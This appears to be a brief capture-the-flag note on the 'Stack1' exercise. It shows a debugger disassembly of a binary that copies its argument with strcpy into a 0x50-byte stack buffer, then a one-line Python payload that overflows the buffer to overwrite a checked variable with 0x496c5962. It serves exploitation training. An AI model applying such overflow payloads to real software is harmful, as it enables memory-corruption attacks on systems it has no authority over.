Stack1

gef➤  disas main
Dump of assembler code for function main:
   0x000000000040066d <+0>:	push   rbp
   0x000000000040066e <+1>:	mov    rbp,rsp
   0x0000000000400671 <+4>:	sub    rsp,0x60
   0x0000000000400675 <+8>:	mov    DWORD PTR [rbp-0x54],edi
   0x0000000000400678 <+11>:	mov    QWORD PTR [rbp-0x60],rsi
   0x000000000040067c <+15>:	mov    edi,0x400750
   0x0000000000400681 <+20>:	call   0x4004c0 <puts@plt>
   0x0000000000400686 <+25>:	cmp    DWORD PTR [rbp-0x54],0x1
   0x000000000040068a <+29>:	jg     0x4006a0 <main+51>
   0x000000000040068c <+31>:	mov    esi,0x4007a0
   0x0000000000400691 <+36>:	mov    edi,0x1
   0x0000000000400696 <+41>:	mov    eax,0x0
   0x000000000040069b <+46>:	call   0x4004d0 <errx@plt>
   0x00000000004006a0 <+51>:	mov    DWORD PTR [rbp-0x10],0x0
   0x00000000004006a7 <+58>:	mov    rax,QWORD PTR [rbp-0x60]
   0x00000000004006ab <+62>:	add    rax,0x8
   0x00000000004006af <+66>:	mov    rdx,QWORD PTR [rax]
   0x00000000004006b2 <+69>:	lea    rax,[rbp-0x50]
   0x00000000004006b6 <+73>:	mov    rsi,rdx
   0x00000000004006b9 <+76>:	mov    rdi,rax
   0x00000000004006bc <+79>:	call   0x4004a0 <strcpy@plt>
   0x00000000004006c1 <+84>:	mov    eax,DWORD PTR [rbp-0x10]
   0x00000000004006c4 <+87>:	cmp    eax,0x496c5962
   0x00000000004006c9 <+92>:	jne    0x4006d7 <main+106>
   0x00000000004006cb <+94>:	mov    edi,0x4007d8
   0x00000000004006d0 <+99>:	call   0x4004c0 <puts@plt>
   0x00000000004006d5 <+104>:	jmp    0x4006eb <main+126>
   0x00000000004006d7 <+106>:	mov    eax,DWORD PTR [rbp-0x10]
   0x00000000004006da <+109>:	mov    esi,eax
   0x00000000004006dc <+111>:	mov    edi,0x400820
   0x00000000004006e1 <+116>:	mov    eax,0x0
   0x00000000004006e6 <+121>:	call   0x4004b0 <printf@plt>
   0x00000000004006eb <+126>:	mov    edi,0x0
   0x00000000004006f0 <+131>:	call   0x4004e0 <exit@plt>
End of assembler dump.
./stack-one "`python -c "import struct; print 'a'*(0x50-0x10)+struct.pack('I',0x496c5962)"`"